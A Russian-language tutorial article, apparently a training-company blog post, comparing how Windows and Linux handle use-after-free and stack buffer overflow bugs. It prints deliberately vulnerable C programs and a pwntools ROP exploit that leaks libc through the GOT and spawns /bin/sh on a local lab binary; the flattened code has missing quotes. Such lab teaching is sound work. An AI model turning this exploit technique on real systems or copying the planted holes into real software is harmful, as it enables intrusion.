Каждый, кто начинает изучать уязвимости программного обеспечения и их эксплуатацию, рано или поздно начинает задаваться вопросами: откуда берутся методики написания эксплойтов? Почему современное ПО содержит уязвимости? Насколько операционные системы с точки зрения проведения атак на ПО отличаются друг от друга? В данной статье будет рассмотрен подход к исследованию уязвимого ПО на различных операционных системах: какие есть особенности, какую систему лучше выбрать в качестве тестовой и какие выводы можно сделать.
Disclamer: Статья не содержит полный перечень методов и техник атак. В статью включены только те, которые могут быть интересны начинающему исследователю.
Почему существуют уязвимости и атаки
Атака - это процесс, приводящий к нарушению установленного порядка работы системы. В контексте программного обеспечения подобное воздействие может быть равносильно созданию состояния неопределенности: в этом случае состояние структур, используемых для работы ПО, может стать нестабильным. Проводимые атаки могут стать причиной серьезных последствий: от аварийного завершения работы до потери пользовательских данных, поэтому изучение корней проблемы является актуальным на сегодняшний день. Для того, чтобы разобраться, по каким причинам в приложении обнаруживаются уязвимости, обратимся к фундаментальному родителю любого софта - языку программирования. Объектом нашего изучения будет язык программирования С: многие части популярных ОС и по сей день пишутся с его помощью или же с его эволюционно появившейся версии С++.
Язык программирования С - это по сути набор команд, который позволяет ОС взаимодействовать с устройствами и тем самым раскрывать их функционал в полной мере. Для того, чтобы язык программирования мог использоваться на большом количестве систем, нужно, чтобы все его команды и результаты их выполнения всегда имели предсказуемые значения. Единственный способ достижения этого - создать стандарт, где описывается каждая конструкция и команда языка программирования. Всего за время существования языка программирования С было создано 6 версий стандарта (С89, С90, С95, С99, С11, С18).
В стандартах можно найти понятие undefined behavior, используемое в разделах, посвященных портированию ПО на различные архитектуры. Термин undefined behavior обозначает любую ошибку или непонятную ситуацию, результаты которой не могут быть предсказаны наперед. В контексте ПО, написанного на С, в большинстве случаев это проблемы с памятью, работой с системами ввода/вывода, синхронизацией доступа к ресурсам информационной системы. Неопределенное поведение может случится по причине следующих ошибок при написании софта:
-
Race Condition
-
Integer Overflow
-
Buffer Overflow
-
.
Вот здесь можно найти полный перечень популярных проблем. Именно из-за них есть возможность проводить атаки на ПО, поскольку каждую можно так или иначе рассматривать как уязвимость, подлежащую последующей эксплуатации в собственных целях.
Противодействие атакам
Проблемы безопасной разработки программного обеспечения известны и описаны уже давно, потому при изучении языка программирования для написания приложений используют наборы правил хорошего кода. Быстрый поиск в сети может предоставить большое количество таких рекомендаций.
Однако сегодня при всей комплексности кодящихся проектов и даже при использовании всех правил безопасности случаются ошибки, приводящие к образованию ахиллесовых пят софта. Для спасения приложений и операционной системы в этом случае существуют технологии защиты, которые интегрируются на уровне ОС.
Количество и сложность механизмов защиты от атак на ПО в разных ОС варьируется. Например, разработчики операционной системе Linux считают, что для операционной системы важнее функциональность, а не наличие защит. В противовес можно привести операционную систему Windows, которая пачками разрабатывает технологии защиты на уровне ОС. Насколько механизмы эффективны? Это вопрос отдельной статьи. В защиту операционной системы Linux можно сказать, что производились попытки её сделать более безопасной с точки зрения разработки ПО, но что-то пошло не так и теперь патчи безопасности продаются как отдельный проект.
Портирование атаки
Представим себе сценарий - мы хотим изучить подход к эксплуатации уязвимостей Stack Buffer Overflow и UAF. С чего можно начать изучение? План изучения:
-
Найти описание особенности уязвимости;
-
Найти или создать уязвимое приложение;
-
Попытаться создать эксплойт, если не получилось эксплуатировать уязвимость - выяснить, какие механизмы защиты применены в ОС и попытаться их обойти (ведь именно они могут защищать приложение от эксплуатации его погрешностей).
В качестве тестовых будем использовать Windows 7 x86 и Kali Linux.
Особенности уязвимости: UAF
Описание уязвимости можно найти на ресурсе. Если вкратце, то данный тип уязвимостей связан с использованием объекта после его освобождения. Следовательно, атака должна создать на месте освобождаемого объекта тот, который позволит выполнить произвольный код. Графическое представление уязвимости ниже.
В качестве упражнения попробуйте найти пример уязвимого приложения для ОС Windows (любой версии), которое будет содержать UAF. Также подобных приложений много для ОС Linux. Попробуем адаптировать одно из таких приложений: чтобы оно было скомпилировано и для Windows, и для Linux, а также уязвимость воспроизводилась на обоих системах.
Уязвимое приложение: UAF
В качестве подопытного будем использовать следующее приложение:
#include <malloc.h>#include <stdio.h>typedef struct UAFME { void (*vulnfunc)();} UAFME;void first(){ printf(It is First\n");}void second(){printf(It is second\n");}int main(int argc, const char * argv[]){ UAFME *malloc1 = malloc(sizeof(UAFME)); //Allocate struct malloc1->vulnfunc = first; printf("[i] first at %p\n", first); printf("[i] second at %p\n", second); printf("[i] Calling malloc1's vulnfunc: \n"); malloc1->vulnfunc(); free(malloc1);//error here long *malloc2 = malloc(0); *malloc2 = (long)second; malloc1->vulnfunc();//trigger UAF }
Скомпилируем код под Windows и Linux:
Запуск на Linux:
Запуск на Windows:
Поведение ОС: UAF
Уязвимость UAF в операционной системе очень сложно отследить и для каждого отдельного случая нужно писать специальные методы противодействия. Сам класс уязвимостей работает на основе доступа к данным, поэтому обычно имплементация защиты - это контроль целостности важных для процесса структур. В нашем случае приложение не обращается к этим структурам, поэтому никакие механизмы защиты Windows и Linux не завершат аварийно выполнение приложения: процесс продолжит работу, что является проблемой безопасности и может быть эксплуатирована. Исходный пример самодостаточен и показывает, что подобные уязвимости чаще всего получается эксплуатировать за счет функционала приложения. Что же касается различий в имплементации для операционных систем - как показано выше, ОС уже не важна, если ошибка в неосторожных действиях самого приложения с памятью.
Особенности уязвимости: Stack Buffer Overflow
Уязвимость, которая имеет наибольшую популярность на сегодняшний день. Механизм работы Stack Buffer Overflow заключается в том, что данные, помещенные на стек, перетираются другими данными, заполняемыми в объекте, в котором не верно проверяется их размер. Картинка взята отсюда.
Уязвимое приложение: Stack Buffer Overflow
В качестве тестового будем использовать следующее приложение:
#include <stdio.h>#include <unistd.h>void vuln(){char buf[50];read(0, buf, 256);}void main(){write(1,Hello Overflow\n",10);vuln();}
Скомпилируем приложение для Linux и для Windows:
В полученные файлы для защиты от атак добавляются специальные
данные о механизмах защиты, которые помогают операционной системе
противодействовать атакам. В ОС Linux посмотреть эти данные можно
через специальную утилиту checksec
.
Полный список технологий защит, которые были получены через
вывод инструмента checksec
, можно найти
тут.
Для операционной системы Windows такой список просто утилитой получить не удастся, вместо этого необходимо запустить приложение в ОС и просмотреть установленные механизмы защиты для работающего процесса. Сделать это можно например утилитой EMET. Полученный вывод для нашего приложения:
Даже не разбираясь, какой механизм от какой атаки защищает, список достаточно внушительный.
Эксплойт для уязвимого приложения: Stack Buffer Overflow
Самый простой тип уязвимости с точки зрения написания эксплойта. Проанализировав все механизмы защиты, которые задействованы в Linux, становится ясно, что единственный механизм - NX Bit. По всем описаниям в сети обойти данный механизма можно с помощью ROP. Для написания эксплойта будем использовать автоматизацию - pwntools для Python. Тогда скрипт для атаки на операционной системе Linux может иметь такой вид:
from pwn import *from struct import *binsh = "/bin/sh"stdin = 0stdout = 1read_plt = 0x8048300read_got = 0x804a00cwrite_plt = 0x8048320write_got = 0x804a014#32bit OS - /lib/i386-linux-gnu/libc-2.23.soread_system_offset = 0x9ad60#64bit OS - /lib32/libc-2.23.so#read_system_offset = 0x99a10writableArea = 0x0804a020pppr = 0x80484e9payload = "A"*62#read(0,writableArea,len(str(binsh)))payload += p32(read_plt)payload += p32(pppr)payload += p32(stdin)payload += p32(writableArea)payload += p32(len(str(binsh)))#write(1,read_got,len(str(read_got)))payload += p32(write_plt)payload += p32(pppr)payload += p32(stdout)payload += p32(read_got)payload += p32(4)#read(0,read_got,len(str(read_got)))payload += p32(read_plt)payload += p32(pppr)payload += p32(stdin)payload += p32(read_got)payload += p32(len(str(read_got)))#system(writableArea)payload += p32(read_plt)payload += p32(0xaaaabbbb)payload += p32(writableArea)r = process('./test2')r.recvn(10)r.send(payload + '\n')r.send(binsh)read = u32(r.recvn(4,timeout=1))system_addr = read - read_system_offsetr.send(p32(system_addr))r.interactive()
Эксплойт под Windows c применением ROP не дал результатов. Вывод его работы можно увидеть ниже.
Необходимо проводить дальнейший ресерч обходов защит системы. Против эксплойта сработали следующие механизмы защиты: SimExecFlow, DEP, SEHOP.
Вывод
Как можно заметить, подходы к обеспечению безопасной работы приложений у операционных систем Linux и Windows разные: в случае Linux получилось эксплуатировать заложенную в приложении уязвимость, в то время как Windows вовремя остановила работу приложения. Исследователям безопасности систем необходимо иметь это в виду, именно поэтому начинающему специалисту стоит взять систему Linux как начальную для тестирования уязвимых приложений, а к системе Windows обратиться для улучшения методов обхода защит операционных систем.
Данная статья была написана в преддверии старта курсаAdministrator Linux. Basicот OTUS. Узнать подробнее о курсе и посмотреть запись бесплатного демо-урока можно поэтой ссылке.